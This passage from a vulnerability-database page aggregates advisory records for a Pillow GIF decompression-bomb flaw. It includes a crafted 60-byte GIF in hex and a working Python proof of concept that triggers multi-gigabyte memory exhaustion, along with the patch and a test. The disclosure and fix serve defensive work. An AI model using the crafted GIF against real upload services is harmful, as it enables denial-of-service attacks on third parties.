"purl": "pkg:apk/cleanstart/apache-superset"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.1.0-r7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Security vulnerability affects the apache-superset package. Pillow is a Python imaging library.",
"id": "CLEANSTART-2026-MM21242",
"modified": "2026-10-30T09:04:55Z",
"published": "2026-10-31T00:43:49.310877Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-MM21242.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-112400"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112400"
}
],
"related": [],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Pillow is a Python imaging library",
"upstream": [
"CVE-2026-112400"
]
}
CLEANSTART-2026-MY49432 (CVE-2026-112400)
Vulnerability from cleanstart – Published: 2026-11-03 00:40 – Updated: 2026-11-02 06:42 – Source websiteSecurity vulnerability affects the apache-superset package. Pillow is a Python imaging library.
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "apache-superset",
"purl": "pkg:apk/cleanstart/apache-superset"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2021.40.1-r0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "CleanStart",
"name": "apache-superset",
"purl": "pkg:apk/cleanstart/apache-superset"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2021.41.0-r0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Security vulnerability affects the apache-superset package. Pillow is a Python imaging library.",
"id": "CLEANSTART-2026-MY49432",
"modified": "2026-11-02T06:42:28Z",
"published": "2026-11-03T00:40:40.092326Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-MY49432.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-112400"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112400"
}
],
"related": [],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Pillow is a Python imaging library",
"upstream": [
"CVE-2026-112400"
]
}
FKIE_CVE-2026-112400
Vulnerability from fkie_nvd - Published: 2026-10-19 22:17 - Updated: 2026-10-27 21:02| URL | Tags | ||
|---|---|---|---|
| security-advisories@github.com | https://github.com/python-pillow/Pillow/commit/6faed707cfb760a4cbd726ddc8406f576cf35bf7 | Patch | |
| security-advisories@github.com | https://github.com/python-pillow/Pillow/releases/tag/13.0.0 | Release Notes | |
| security-advisories@github.com | https://github.com/python-pillow/Pillow/security/advisories/GHSA-65qm-jvmh-6pqg | Exploit, Mitigation, Patch, Vendor Advisory | |
| 134c704f-9b21-4f2e-91b3-4a467353bcc0 | https://github.com/python-pillow/Pillow/security/advisories/GHSA-65qm-jvmh-6pqg | Exploit, Mitigation, Patch, Vendor Advisory |
{
"affected": [
{
"affectedData": [
{
"product": "Pillow",
"vendor": "python-pillow",
"versions": [
{
"status": "affected",
"version": "\u003e= 9.2.0, \u003c 13.0.0"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:python:pillow:*:*:*:*:*:*:*:*",
"matchCriteriaId": "E504536A-DACF-43B1-9BA3-02A3C2E45292",
"versionEndExcluding": "13.0.0",
"versionStartIncluding": "9.2.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Pillow is a Python imaging library. From 9.2.0 until 13.0.0, Pillow can retain a rejected GIF frame size after a decompression-bomb exception. In GifImageFile._seek, a crafted GIF can leave rejected dimensions stored after Image.DecompressionBombError; if an application catches that exception and continues processing the same image object, later seek or load operations allocate according to those dimensions and can exhaust memory, denying service. This issue is fixed in version 13.0.0."
}
],
"id": "CVE-2026-112400",
"lastModified": "2026-10-27T21:02:32.240",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": [
{
"cvssData": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"availabilityRequirement": "NOT_DEFINED",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"confidentialityRequirement": "NOT_DEFINED",
"exploitMaturity": "NOT_DEFINED",
"integrityRequirement": "NOT_DEFINED",
"modifiedAttackComplexity": "NOT_DEFINED",
"modifiedAttackRequirements": "NOT_DEFINED",
"modifiedAttackVector": "NOT_DEFINED",
"modifiedPrivilegesRequired": "NOT_DEFINED",
"modifiedSubAvailabilityImpact": "NOT_DEFINED",
"modifiedSubConfidentialityImpact": "NOT_DEFINED",
"modifiedSubIntegrityImpact": "NOT_DEFINED",
"modifiedUserInteraction": "NOT_DEFINED",
"modifiedVulnAvailabilityImpact": "NOT_DEFINED",
"modifiedVulnConfidentialityImpact": "NOT_DEFINED",
"modifiedVulnIntegrityImpact": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-112400",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "yes"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-20T14:59:28.532487Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-10-19T22:17:07.367",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/python-pillow/Pillow/commit/6faed707cfb760a4cbd726ddc8406f576cf35bf7"
},
{
"source": "security-advisories@github.com",
"tags": [
"Release Notes"
],
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Mitigation",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-65qm-jvmh-6pqg"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Mitigation",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-65qm-jvmh-6pqg"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-400"
},
{
"lang": "en",
"value": "CWE-770"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-65QM-JVMH-6PQG
Vulnerability from github – Published: 2026-10-20 20:53 – Updated: 2026-10-20 20:53============================================================================
GIF seek keeps rejected size after DecompressionBombError, allowing DoS
Location: src/PIL/GifImagePlugin.py:293 in GifImageFile._seek()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
A GIF of about 60 bytes can make Pillow allocate gigabytes of memory. This affects applications that catch the "image too large" error raised while stepping to a later animation frame and then keep using the same image object. Pillow correctly refuses the oversized frame, but it stores the refused dimensions on the image object anyway, and later operations size their memory from them. An attacker who can upload a GIF to such a service can exhaust its memory: the process either fails with an out-of-memory error after committing gigabytes, or is killed by the operating system. There is no memory corruption.
The bug is in GifImageFile._seek() (src/PIL/GifImagePlugin.py:292-294). When a frame's extent enlarges the image, the code assigns the new size to self._size and only then calls Image._decompression_bomb_check(). Nothing restores the old size when DecompressionBombError is raised, because seek() only rolls back on EOFError. After the caught error, im.size reports the rejected size while the pixel buffer im.im is still the 1×1 first frame. Because the extent is a 16-bit offset plus a 16-bit size, that rejected size can be as large as 131070×131070.
In the attached reproducer, the rejected size is 40000×40000. A retried seek(1) followed by load() then reaches load_prepare(), which calls Image.core.fill() with that size to decode a single pixel. Peak memory rises from 17 MiB to 1700 MiB before a 3 GiB address-space cap stops the next allocation. Image.new("RGB", im.size, ...) and rotate(..., expand=True) also allocate from the stale size.
The default paths are unaffected: plain Image.open() plus load(), ImageSequence.Iterator, and n_frames/is_animated. The ordering was introduced in c9f1b35e9810 ("Added GIF decompression bomb check", 2022-06-30, first released in 9.2.0), the check added for CVE-2022-45198. The two dispose-extent checks later in the same function already validate before using the size, and the attached patch makes this check follow the same order.
Details
GifImageFile._seek() lets a later frame enlarge the image, and performs the
decompression-bomb check for the new size only after storing it on the object:
# src/PIL/GifImagePlugin.py:289-294 (GifImageFile._seek)
x0, y0 = i16(s, 0), i16(s, 2)
x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
self._size = max(x1, self.size[0]), max(y1, self.size[1]) # state mutated
Image._decompression_bomb_check(self._size) # ...then validated
_decompression_bomb_check() (src/PIL/Image.py:3586) raises
DecompressionBombError for anything above 2 * MAX_IMAGE_PIXELS
(178 956 970 px by default), but by then self._size already holds the rejected
value and nothing restores it: seek() (GifImagePlugin.py:166-179) only rolls
back on EOFError, and _seek(0) only ever grows _size. The object that the
application still holds therefore reports im.size == (40000, 40000) while
im.im is the 1×1 buffer of frame 0. Compare the two dispose-extent checks a
few lines further down in the same function (GifImagePlugin.py:383 and :407),
which call _decompression_bomb_check(dispose_size) before the corresponding
Image.core.fill(), and TiffImagePlugin.load_prepare()
(src/PIL/TiffImagePlugin.py:1319-1321), which checks _tile_size before
allocating from it.
With this 60-byte GIF (hex)
47494638396101000100800000000000ffffff GIF89a, 1x1 screen, 2-entry global palette
2c000000000100010000 02 024401 00 frame 0: 1x1 @ (0,0), LZW data
2c00000000409c409c00 frame 1 descriptor: 40000x40000 @ (0,0)
2c000000000100010000 02 024401 00 another 1x1 frame
3b trailer
Image.open() succeeds (im.size == (1, 1)), im.seek(1) raises
DecompressionBombError: Image size (1600000000 pixels) exceeds limit of
178956970 pixels, and afterwards im.size == (40000, 40000),
im.im.size == (1, 1), im.tell() == 0.
What happens next depends on what the application does with the object, but
several ordinary operations take their dimensions from im.size rather than
from the C buffer:
- Retrying
im.seek(1). The failed_seekleftself.__offset == 0and the file pointer just past the 9-byte descriptor, so the retry parses whatever follows — in the file above, a valid 1×1 frame — and succeeds.im.load()then runsGifImageFile.load_prepare():python # src/PIL/GifImagePlugin.py:452-456 elif self.mode in ("RGB", "RGBA"): self._prev_im = self.im if self._frame_palette: self.im = Image.core.fill("P", self.size, self._frame_transparency or 0)which allocates andmemsets a 40000×40000 "P" image (1.6 GB) to decode a 1×1 tile into, andload_end()(GifImagePlugin.py:485-491) fills a second one and converts it to RGB (another 1.6 GB + 6.4 GB). im.rotate(angle, expand=True)for a non-multiple-of-90 angle, or the common flatten-onto-background idiomImage.new("RGB", im.size, bg), allocate fromim.sizeas well (measured on an object poisoned to 20000×20000:rotate(45, expand=True)completes and touches 776 MiB;Image.new("RGB", im.size, "white")touches 1.5 GiB). Operations that passim.sizeas a box against the real buffer (thumbnail,resize,save) fail withValueError/SystemErrorinstead.
The extent fields are 16-bit offset plus 16-bit size, so the stored size can be pushed to 131070×131070 (17.2 Gpx; 17 GB for mode "P", 69 GB for "RGB"/"RGBA" storage), 96× the error threshold.
n_frames / is_animated are not affected: they call
_seek(frame, update_image=False), which skips the _size assignment (the file
above reports n_frames == 2, is_animated == True and leaves im.size at
1×1).
Impact
A remote user who can upload a GIF to a service that (a) seeks animation frames
and (b) catches the exception from seek() — a broad except Exception around
a while True: im.seek(im.tell()+1) frame-collection loop, or an explicit
except DecompressionBombError: log and continue — and then keeps using the
same Image object, ends up driving allocations of 1.6 GB to tens of GB from a
60-byte file: MemoryError after the process has committed gigabytes, or an
OOM kill of the worker when no address-space limit is set. The
MAX_IMAGE_PIXELS guard fires, but does not actually keep the rejected
dimensions out of the object it is guarding.
The precondition is real application behaviour but not the default path:
Image.open(); im.load() is unaffected, and ImageSequence.Iterator propagates
the error out of the for statement (a try inside the loop body does not
swallow it). Hence low severity. This is adjacent to the GIF extent bomb check
added for CVE-2022-45198: the ordering was introduced with that check in
c9f1b35e9810 ("Added GIF decompression bomb check", 2022-06-30), first
released in Pillow 9.2.0. Before it, the same size growth happened with no
check at all; the check introduced there is the one that runs too late.
Reproducing
repro is a single Python script run against the installed Pillow. It needs
about 1.7 GB of free RAM.
setup_env()caps the process address space at 3 GiB withRLIMIT_AS, so the oversized allocations end inMemoryErrorinstead of the OOM killer. It then opens the 60-byte GIF shown above, built in memory bybomb_gif(). The GIF contains a 1×1 screen and a 1×1 frame 0, soImage.open()passes its own bomb check. Next comes a bare frame-1 image descriptor that declares 40000×40000 (1.6 Gpx, about 9× the error threshold). A real 1×1 frame follows it.poc()callsim.seek(1)and catchesDecompressionBombError, the way an application that skips bad frames would.- First check: the state is inconsistent. The script prints
im.sizenext to the real pixel bufferim.im.size. If the rejected frame had left the object unchanged, both would be(1, 1). On the affected codeim.sizeis(40000, 40000). - Second check: memory use. The script retries
im.seek(1), which now parses the trailing 1×1 frame, and callsim.load(). It prints the process's peak RSS before and after.load_prepare()sizes itsImage.core.fill()fromim.size, so loading a single pixel fills a 1.6 GB buffer before the 3 GiB cap stops the next allocation.
Expected output on the affected tree:
open(): 60-byte GIF, size=(1, 1)
seek(1) raised as intended: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack.
after the caught error: im.size=(40000, 40000), pixel buffer im.im.size=(1, 1)
seek(1) + load() of a 1x1 frame: MemoryError at the 3 GiB cap; peak RSS 18 MiB -> 1700 MiB
BUG
The script prints BUG only if both checks hold: the over-limit size stayed
on the object after the exception, and peak RSS grew by more than 1000 MiB
while loading a 1×1 frame. Otherwise it prints OK. With the attached patch
applied, it prints im.size=(1, 1), peak RSS stays at about 23 MiB, and the
last line is OK.
Suggested fix
The attached patch validates before mutating in GifImageFile._seek()
(src/PIL/GifImagePlugin.py:292-294): the enlarged extent is computed into a
local, passed to _decompression_bomb_check(), and only then assigned to
self._size, matching the order of the two dispose_size checks further down
the same function. A rejected frame therefore leaves the object in its pre-seek
state; valid files behave as before, and the exception is still raised at the
same point:
--- a/src/PIL/GifImagePlugin.py
+++ b/src/PIL/GifImagePlugin.py
@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):
x0, y0 = i16(s, 0), i16(s, 2)
x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
- self._size = max(x1, self.size[0]), max(y1, self.size[1])
- Image._decompression_bomb_check(self._size)
+ size = max(x1, self.size[0]), max(y1, self.size[1])
+ Image._decompression_bomb_check(size)
+ self._size = size
frame_dispose_extent = x0, y0, x1, y1
flags = s[8]
n_frames / is_animated go through update_image=False and are unaffected.
The patch also extends test_exception_gif_extents in
Tests/test_decompression_bomb.py to assert that im.size is unchanged after
the DecompressionBombError. It does not change seek() itself; optionally,
seek() could also treat DecompressionBombError like EOFError and re-seek
to last_frame, so that a retried seek() does not resume parsing from the
middle of the rejected frame.
The patch
GIF: run the decompression bomb check on an enlarging frame's extent before storing it in self._size
Applies to src/PIL/GifImagePlugin.py at the commit above.
diff --git a/Tests/test_decompression_bomb.py b/Tests/test_decompression_bomb.py
index 98d833736..83cc785fc 100644
--- a/Tests/test_decompression_bomb.py
+++ b/Tests/test_decompression_bomb.py
@@ -63,6 +63,9 @@ class TestDecompressionBomb:
with pytest.raises(Image.DecompressionBombError):
im.seek(1)
+ # The rejected frame should not have changed the image size
+ assert im.size == (100, 100)
+
def test_exception_gif_zero_width(self, monkeypatch: pytest.MonkeyPatch) -> None:
# Set limit to trigger exception on the test file
monkeypatch.setattr(Image, "MAX_IMAGE_PIXELS", 4 * 64 * 128)
diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py
index 11fb180fc..f9bda06c2 100644
--- a/src/PIL/GifImagePlugin.py
+++ b/src/PIL/GifImagePlugin.py
@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):
x0, y0 = i16(s, 0), i16(s, 2)
x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
- self._size = max(x1, self.size[0]), max(y1, self.size[1])
- Image._decompression_bomb_check(self._size)
+ size = max(x1, self.size[0]), max(y1, self.size[1])
+ Image._decompression_bomb_check(size)
+ self._size = size
frame_dispose_extent = x0, y0, x1, y1
flags = s[8]
The reproducer
Reproducer —repro, 2,474 bytes (click to open)
Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.
#!/usr/bin/env python3
# GifImageFile._seek() stores a frame's enlarged size in self._size and only
# *then* runs the decompression-bomb check. The check raises, but the object
# keeps the rejected 40000x40000 size over its real 1x1 pixel buffer, and the
# next load() allocates from that size: 1.6+ GB for a 60-byte GIF.
import io
import resource
import struct
from PIL import Image
BOMB = 40000 # 40000x40000 = 1.6 Gpx, ~9x the DecompressionBombError threshold
LIMIT = 2 * Image.MAX_IMAGE_PIXELS
def frame_1x1():
# image descriptor at (0,0) 1x1, then a 1-pixel LZW stream
return b"," + struct.pack("<HHHHB", 0, 0, 1, 1, 0) + b"\x02\x02\x44\x01\x00"
def bomb_gif():
return (
b"GIF89a" + struct.pack("<HHBBB", 1, 1, 0x80, 0, 0) + b"\x00" * 3 + b"\xff" * 3
+ frame_1x1() # frame 0: 1x1, passes open()
+ b"," + struct.pack("<HHHHB", 0, 0, BOMB, BOMB, 0) # frame 1 claims 40000x40000
+ frame_1x1() # a real 1x1 frame follows
+ b";"
)
def peak_rss_mib():
return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024
def setup_env():
# Cap the address space so the oversized allocations end in MemoryError
# instead of the OOM killer.
resource.setrlimit(resource.RLIMIT_AS, (3 << 30, 3 << 30))
data = bomb_gif()
im = Image.open(io.BytesIO(data))
print(f"open(): {len(data)}-byte GIF, size={im.size}")
return im
def poc(im):
# An application skips the bomb frame and keeps going.
try:
im.seek(1)
except Image.DecompressionBombError as e:
print(f"seek(1) raised as intended: {e}")
return True
return False
im = setup_env()
raised = poc(im)
# Expected: a rejected frame leaves the object as it was (size == buffer == 1x1).
print(f"after the caught error: im.size={im.size}, pixel buffer im.im.size={im.im.size}")
poisoned = raised and im.size[0] * im.size[1] > LIMIT and im.im.size == (1, 1)
# Effect: retrying the seek lands on the real 1x1 frame, but load() sizes its
# buffers from the poisoned im.size.
before = peak_rss_mib()
im.seek(1)
try:
im.load()
outcome = "completed"
except MemoryError:
outcome = "MemoryError at the 3 GiB cap"
after = peak_rss_mib()
print(f"seek(1) + load() of a 1x1 frame: {outcome}; peak RSS {before} MiB -> {after} MiB")
ballooned = after - before > 1000
print("BUG" if poisoned and ballooned else "OK")
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Pillow"
},
"ranges": [
{
"events": [
{
"introduced": "9.2.0"
},
{
"fixed": "13.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-112400"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-20T20:53:36Z",
"nvd_published_at": "2026-10-19T22:17:07Z",
"severity": "HIGH"
},
"details": "```\n============================================================================\nGIF seek keeps rejected size after DecompressionBombError, allowing DoS\nLocation: src/PIL/GifImagePlugin.py:293 in GifImageFile._seek()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA GIF of about 60 bytes can make Pillow allocate gigabytes of memory. This affects applications that catch the \"image too large\" error raised while stepping to a later animation frame and then keep using the same image object. Pillow correctly refuses the oversized frame, but it stores the refused dimensions on the image object anyway, and later operations size their memory from them. An attacker who can upload a GIF to such a service can exhaust its memory: the process either fails with an out-of-memory error after committing gigabytes, or is killed by the operating system. There is no memory corruption.\n\nThe bug is in `GifImageFile._seek()` (`src/PIL/GifImagePlugin.py:292-294`). When a frame\u0027s extent enlarges the image, the code assigns the new size to `self._size` and only then calls `Image._decompression_bomb_check()`. Nothing restores the old size when `DecompressionBombError` is raised, because `seek()` only rolls back on `EOFError`. After the caught error, `im.size` reports the rejected size while the pixel buffer `im.im` is still the 1\u00d71 first frame. Because the extent is a 16-bit offset plus a 16-bit size, that rejected size can be as large as 131070\u00d7131070.\n\nIn the attached reproducer, the rejected size is 40000\u00d740000. A retried `seek(1)` followed by `load()` then reaches `load_prepare()`, which calls `Image.core.fill()` with that size to decode a single pixel. Peak memory rises from 17 MiB to 1700 MiB before a 3 GiB address-space cap stops the next allocation. `Image.new(\"RGB\", im.size, ...)` and `rotate(..., expand=True)` also allocate from the stale size.\n\nThe default paths are unaffected: plain `Image.open()` plus `load()`, `ImageSequence.Iterator`, and `n_frames`/`is_animated`. The ordering was introduced in c9f1b35e9810 (\"Added GIF decompression bomb check\", 2022-06-30, first released in 9.2.0), the check added for CVE-2022-45198. The two dispose-extent checks later in the same function already validate before using the size, and the attached patch makes this check follow the same order.\n\n## Details\n\n`GifImageFile._seek()` lets a later frame enlarge the image, and performs the\ndecompression-bomb check for the new size only *after* storing it on the object:\n\n```python\n# src/PIL/GifImagePlugin.py:289-294 (GifImageFile._seek)\nx0, y0 = i16(s, 0), i16(s, 2)\nx1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)\nif (x1 \u003e self.size[0] or y1 \u003e self.size[1]) and update_image:\n self._size = max(x1, self.size[0]), max(y1, self.size[1]) # state mutated\n Image._decompression_bomb_check(self._size) # ...then validated\n```\n\n`_decompression_bomb_check()` (`src/PIL/Image.py:3586`) raises\n`DecompressionBombError` for anything above `2 * MAX_IMAGE_PIXELS`\n(178 956 970 px by default), but by then `self._size` already holds the rejected\nvalue and nothing restores it: `seek()` (`GifImagePlugin.py:166-179`) only rolls\nback on `EOFError`, and `_seek(0)` only ever grows `_size`. The object that the\napplication still holds therefore reports `im.size == (40000, 40000)` while\n`im.im` is the 1\u00d71 buffer of frame 0. Compare the two dispose-extent checks a\nfew lines further down in the same function (`GifImagePlugin.py:383` and `:407`),\nwhich call `_decompression_bomb_check(dispose_size)` *before* the corresponding\n`Image.core.fill()`, and `TiffImagePlugin.load_prepare()`\n(`src/PIL/TiffImagePlugin.py:1319-1321`), which checks `_tile_size` before\nallocating from it.\n\nWith this 60-byte GIF (hex)\n\n```\n47494638396101000100800000000000ffffff GIF89a, 1x1 screen, 2-entry global palette\n2c000000000100010000 02 024401 00 frame 0: 1x1 @ (0,0), LZW data\n2c00000000409c409c00 frame 1 descriptor: 40000x40000 @ (0,0)\n2c000000000100010000 02 024401 00 another 1x1 frame\n3b trailer\n```\n\n`Image.open()` succeeds (`im.size == (1, 1)`), `im.seek(1)` raises\n`DecompressionBombError: Image size (1600000000 pixels) exceeds limit of\n178956970 pixels`, and afterwards `im.size == (40000, 40000)`,\n`im.im.size == (1, 1)`, `im.tell() == 0`.\n\nWhat happens next depends on what the application does with the object, but\nseveral ordinary operations take their dimensions from `im.size` rather than\nfrom the C buffer:\n\n- Retrying `im.seek(1)`. The failed `_seek` left `self.__offset == 0` and the\n file pointer just past the 9-byte descriptor, so the retry parses whatever\n follows \u2014 in the file above, a valid 1\u00d71 frame \u2014 and succeeds. `im.load()`\n then runs `GifImageFile.load_prepare()`:\n ```python\n # src/PIL/GifImagePlugin.py:452-456\n elif self.mode in (\"RGB\", \"RGBA\"):\n self._prev_im = self.im\n if self._frame_palette:\n self.im = Image.core.fill(\"P\", self.size, self._frame_transparency or 0)\n ```\n which allocates and `memset`s a 40000\u00d740000 \"P\" image (1.6 GB) to decode a\n 1\u00d71 tile into, and `load_end()` (`GifImagePlugin.py:485-491`) fills a second\n one and converts it to RGB (another 1.6 GB + 6.4 GB).\n- `im.rotate(angle, expand=True)` for a non-multiple-of-90 angle, or the\n common flatten-onto-background idiom `Image.new(\"RGB\", im.size, bg)`, allocate\n from `im.size` as well (measured on an object poisoned to 20000\u00d720000:\n `rotate(45, expand=True)` completes and touches 776 MiB;\n `Image.new(\"RGB\", im.size, \"white\")` touches 1.5 GiB). Operations that pass\n `im.size` as a box against the real buffer (`thumbnail`, `resize`, `save`)\n fail with `ValueError`/`SystemError` instead.\n\nThe extent fields are 16-bit offset plus 16-bit size, so the stored size can be\npushed to 131070\u00d7131070 (17.2 Gpx; 17 GB for mode \"P\", 69 GB for \"RGB\"/\"RGBA\"\nstorage), 96\u00d7 the error threshold.\n\n`n_frames` / `is_animated` are not affected: they call\n`_seek(frame, update_image=False)`, which skips the `_size` assignment (the file\nabove reports `n_frames == 2`, `is_animated == True` and leaves `im.size` at\n1\u00d71).\n\n## Impact\n\nA remote user who can upload a GIF to a service that (a) seeks animation frames\nand (b) catches the exception from `seek()` \u2014 a broad `except Exception` around\na `while True: im.seek(im.tell()+1)` frame-collection loop, or an explicit\n`except DecompressionBombError: log and continue` \u2014 and then keeps using the\nsame `Image` object, ends up driving allocations of 1.6 GB to tens of GB from a\n60-byte file: `MemoryError` after the process has committed gigabytes, or an\nOOM kill of the worker when no address-space limit is set. The\n`MAX_IMAGE_PIXELS` guard fires, but does not actually keep the rejected\ndimensions out of the object it is guarding.\n\nThe precondition is real application behaviour but not the default path:\n`Image.open(); im.load()` is unaffected, and `ImageSequence.Iterator` propagates\nthe error out of the `for` statement (a `try` inside the loop body does not\nswallow it). Hence low severity. This is adjacent to the GIF extent bomb check\nadded for CVE-2022-45198: the ordering was introduced with that check in\n`c9f1b35e9810` (\"Added GIF decompression bomb check\", 2022-06-30), first\nreleased in Pillow 9.2.0. Before it, the same size growth happened with no\ncheck at all; the check introduced there is the one that runs too late.\n\n## Reproducing\n\n`repro` is a single Python script run against the installed Pillow. It needs\nabout 1.7 GB of free RAM.\n\n1. **`setup_env()`** caps the process address space at 3 GiB with\n `RLIMIT_AS`, so the oversized allocations end in `MemoryError` instead of\n the OOM killer. It then opens the 60-byte GIF shown above, built in memory\n by `bomb_gif()`. The GIF contains a 1\u00d71 screen and a 1\u00d71 frame 0, so\n `Image.open()` passes its own bomb check. Next comes a bare frame-1 image\n descriptor that declares 40000\u00d740000 (1.6 Gpx, about 9\u00d7 the error\n threshold). A real 1\u00d71 frame follows it.\n2. **`poc()`** calls `im.seek(1)` and catches `DecompressionBombError`, the way\n an application that skips bad frames would.\n3. **First check: the state is inconsistent.** The script prints `im.size` next\n to the real pixel buffer `im.im.size`. If the rejected frame had left the\n object unchanged, both would be `(1, 1)`. On the affected code `im.size` is\n `(40000, 40000)`.\n4. **Second check: memory use.** The script retries `im.seek(1)`, which now\n parses the trailing 1\u00d71 frame, and calls `im.load()`. It prints the\n process\u0027s peak RSS before and after. `load_prepare()` sizes its\n `Image.core.fill()` from `im.size`, so loading a single pixel fills a\n 1.6 GB buffer before the 3 GiB cap stops the next allocation.\n\nExpected output on the affected tree:\n\n```\nopen(): 60-byte GIF, size=(1, 1)\nseek(1) raised as intended: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack.\nafter the caught error: im.size=(40000, 40000), pixel buffer im.im.size=(1, 1)\nseek(1) + load() of a 1x1 frame: MemoryError at the 3 GiB cap; peak RSS 18 MiB -\u003e 1700 MiB\nBUG\n```\n\nThe script prints `BUG` only if both checks hold: the over-limit size stayed\non the object after the exception, and peak RSS grew by more 